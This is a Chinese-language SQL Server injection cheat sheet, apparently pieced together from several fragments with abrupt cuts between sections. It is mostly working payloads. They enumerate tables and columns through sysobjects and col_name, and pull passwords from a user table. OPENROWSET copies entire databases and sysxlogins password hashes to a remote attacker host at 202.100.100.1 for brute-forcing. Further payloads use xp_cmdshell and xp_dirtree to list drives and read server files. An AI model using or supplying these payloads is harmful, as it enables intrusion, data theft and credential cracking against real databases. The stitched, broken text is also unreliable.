1<>(select count(email) from [user]);--;update [users] set email=(select top 1 name from sysobjects where xtype='u' and status>0) where name='ffff';-- 说明: 上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。 通过查看ffff的用户资料可得第一个用表叫ad 然后根据表名ad得到这个表的IDffff';update [users] set email=(select top 1 id from sysobjects where xtype='u' and name='ad') where name='ffff';-- 象下面这样就可以得到第二个表的名字了ffff';update [users] set email=(select top 1 name from sysobjects where xtype='u' and id>581577110) where name='ffff';--ffff';update [users] set email=(select top 1 count(id) from password) where name='ffff';--ffff';update [users] set email=(select top 1 pwd from password where id=2)where name='ffff';-- ffff';update [users] set email=(select top 1 name from password where id=2) where name='ffff';-- exec

这类注入的参数是字符型,SQL语句原貌大致概如下: select * from 表名 where 字段='连续剧' 注入的参数为Class=连续剧' and [查询条件] and ''=' ,即是生成语句: select * from 表名 where 字段='连续剧' and [查询条件] and ''='' (C) 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下: select * from 表名 where 字段like '%关键字%' 注入的参数为keyword=' and [查询条件] and '%25'=', 即是生成语句: select * from 表名 where字段like '%' and [查询条件] and '%'='%' ;;and (select Top 1 name from sysobjects where xtype='U' and status>0)>0 sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype='U' and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。 ;;and (select Top 1 col_name(object_id('表名'),1) from sysobjects)>0 从⑤拿到表名后,用object_id('表名')获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。 post.htm内容:主要是方便输入。 <iframe name=p src=# width=800 height=350 frameborder=0></iframe><br><form

读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>'刚才得到的表名')。id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0 and name<>'vote');-- 然后id=1552 and exists(select * from aaa where aaa>5) 读出第二个表,^^^^^^一个个的读出,直到没有为止。 读字段是这样: id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),1));-- 然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名 id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),2));-- 然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名 高级技巧: [获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名] update 表名 set 字段=(select top 1 name from

'server=servername;uid=sa;pwd=apachy_123', 'select * from table1' ) 参数: (1) OLEDB Provider name 2、 其中连接字符串参数可以是任何和端口用来连接,比如select * from OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table' 要复制目标主机的整个数据库,首先要在目标主机上和自己机器上的数据库建立连接(如何在目标主机上建立远程连接,刚才已经讲了),之后insert所有远程表到本地表。 基本语法:insert into OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=apachy_123', 'select * from table1') select * from table2 这行语句将目标主机上table2表中的所有数据复制到远程数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如:insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table1') select * from table2 insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _sysdatabases') select * from master.dbo.sysdatabases insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _sysobjects') select * from user_database.dbo.sysobjects insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _syscolumns') select * from user_database.dbo.syscolumns 之后,便可以从本地数据库中看到目标主机的库结构,这已经易如反掌,不多讲,复制数据库:insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table1') select * from database..table1 insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table2') select * from database..table2 ...... 3、 复制哈西表(HASH) 这实际上是上述复制数据库的一个扩展应用。登录密码的hash存储于sysxlogins中。方法如下:insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _sysxlogins') select * from database.dbo.sysxlogins 得到hash之后,就可以进行暴力破解。这需要一点运气和大量时间。 遍历目录的方法: 先创建一个临时表:temp'5;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--5';insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器5';insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表5';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构,并寸入temp表中 5';insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看某个文件的内容5';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:\';--5';insert into temp(id) exec
